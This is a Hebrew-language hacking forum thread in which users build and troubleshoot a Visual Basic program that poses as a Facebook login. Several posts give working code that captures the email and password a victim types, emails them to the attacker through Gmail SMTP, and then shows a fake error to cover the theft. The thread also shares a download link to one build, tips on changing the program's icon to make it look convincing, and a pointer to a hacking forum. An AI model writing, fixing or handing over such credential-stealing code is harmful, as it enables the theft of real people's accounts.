VB Phishing

[אופק3]

ישלי בעיה אני פתחתי כבר כמה פעמים Phishing ב VB
אצלי במחשב זה עובד יפה
אבל אצל אחרים זה פותח להם אבל לא שולח לי את הפרטים לאיימיל
ושאני עושה אצלי במחשב זה פותח למה זה? הינה דוגמא של אחד שעשיתי http://www.mediafire.com/?p3556v4wrvmmdkn

אני אומר להם לירשום שם משתמש וסיסמא הם רושמים הכל טוב ויפה מביא את ההודעת שגיאה ולא שולח כלום לאיימיל

זה הקוד שאני משתמש בו
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Login.Click
If TextBox1.Text = "" Then
MsgBox("You must enter an Email and password", MsgBoxStyle.Exclamation, "Wait 10 Minutes")
If TextBox1.Text = "" Then
MsgBox("You must enter an Email and password", MsgBoxStyle.Exclamation, "Wait 10 Minutes")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("ofekman3@gmail.com", "password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("ofekman3@walla.com")
mail.From = New MailAddress("ofekman3@gmail.com")
mail.Subject = "Facebook"
mail.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Error Try to in at the website www.facebook.com", MsgBoxStyle.Critical, "Error")
Me.Close()
Catch ex As Exception
MsgBox("Error please try to om at the website www.facebook.com", MsgBoxStyle.Exclamation, "Error Please Retry")
End Try

אם למישהו יש קוד טוב לפייסבוק בבקשה שישלח לי בפרטי

[toorbo]

Imports System.Net.Mail =את זה תירשום בהתחלה אתה יודע איפו אם לא עשיתה

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("ג'ימייל שלך", "סיסמא של הגימייל שלך")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("הגמייל שלך")
mail.To.Add("הגמייל שלך")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
אם יש לך בעיה כי כתבתי שם דברים בעברית וזה מעביר לך צדדים או משהו כך:


Imports System.Net.Mail =את זה תירשום בהתחלה אתה יודע איפו אם לא עשיתה

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")

[אופק3]

תודה אחי וזה אמור לתקן את הבעיה?

[toorbo]

תנסה

[אופק3]

אחי איך משנים אייקון?

[.EffecT]

אחי איך משנים אייקון?

יש באפשרויות למטה מצד ימין "icon"

[toorbo]

אחי איך משנים אייקון?

זה עובד? אם כן אז יש דרך אפשרויות לשנות אייקון עצמו לא כמו אייקון של התוכנה רק אייקון כשניכנסים לתוכנה עצמה זה אתה מתכוון?

[.EffecT]

זה עובד? אם כן אז יש דרך אפשרויות לשנות אייקון עצמו לא כמו אייקון של התוכנה רק אייקון כשניכנסים לתוכנה עצמה זה אתה מתכוון?

כן.
http://software.nana10.co.il/Softwar...9&isToInsert=1

[Inject]

ישלי בעיה אני פתחתי כבר כמה פעמים Phishing ב VB
אצלי במחשב זה עובד יפה
אבל אצל אחרים זה פותח להם אבל לא שולח לי את הפרטים לאיימיל
ושאני עושה אצלי במחשב זה פותח למה זה? הינה דוגמא של אחד שעשיתי http://www.mediafire.com/?p3556v4wrvmmdkn

אני אומר להם לירשום שם משתמש וסיסמא הם רושמים הכל טוב ויפה מביא את ההודעת שגיאה ולא שולח כלום לאיימיל

זה הקוד שאני משתמש בו
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Login.Click
If TextBox1.Text = "" Then
MsgBox("You must enter an Email and password", MsgBoxStyle.Exclamation, "Wait 10 Minutes")
If TextBox1.Text = "" Then
MsgBox("You must enter an Email and password", MsgBoxStyle.Exclamation, "Wait 10 Minutes")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("ofekman3@gmail.com", "password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("ofekman3@walla.com")
mail.From = New MailAddress("ofekman3@gmail.com")
mail.Subject = "Facebook"
mail.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Error Try to in at the website www.facebook.com", MsgBoxStyle.Critical, "Error")
Me.Close()
Catch ex As Exception
MsgBox("Error please try to om at the website www.facebook.com", MsgBoxStyle.Exclamation, "Error Please Retry")
End Try

אם למישהו יש קוד טוב לפייסבוק בבקשה שישלח לי בפרטי

קוראים לזה Phisher ולא VB Phishing..
לנושא: תציץ ב hackforums.net אולי יעזור לך קצת..